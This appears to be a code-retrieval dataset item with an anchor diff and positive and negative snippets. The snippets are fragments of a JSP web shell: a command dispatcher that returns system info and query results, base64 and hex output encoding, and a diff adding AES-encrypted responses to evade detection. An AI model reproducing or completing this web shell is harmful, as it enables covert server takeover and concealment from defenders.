anchor.diff:              return sb;
           }else if(decode.equals("hex_base64") || decode == "hex_base64"){
               return asenc(asenc(str, "base64"), "hex");
  +        }else if(decode.equals("aes_base64") || decode == "aes_base64"){
  +            String sb1 = "";
  +            sb1 = AesEncrypt(AesKey, asenc(str, "base64"));
  +            return sb1.replace("\r\n","");
           }
           return str;
       }
  
positive.code:             sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
              bt = decoder.decodeBuffer(str);
              return new String(bt,cs);
          }
          return str;
      }
  
      void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
  
negative.code:             sb.append(query(pars[0], pars[1], pars[2]));
          } else if (funccode.equals("A")) {
              sb.append(SysInfoCode(request));
          }else{
              sb.append(Version);
          }
      } catch (Exception e) {
          sb.append("ERROR" + ":// " + e.toString());
      }
      output.append(asenc(sb.toString(), decoder));
      output.append(decode(RetE, "base64"));
      out.print(output.toString());
  %>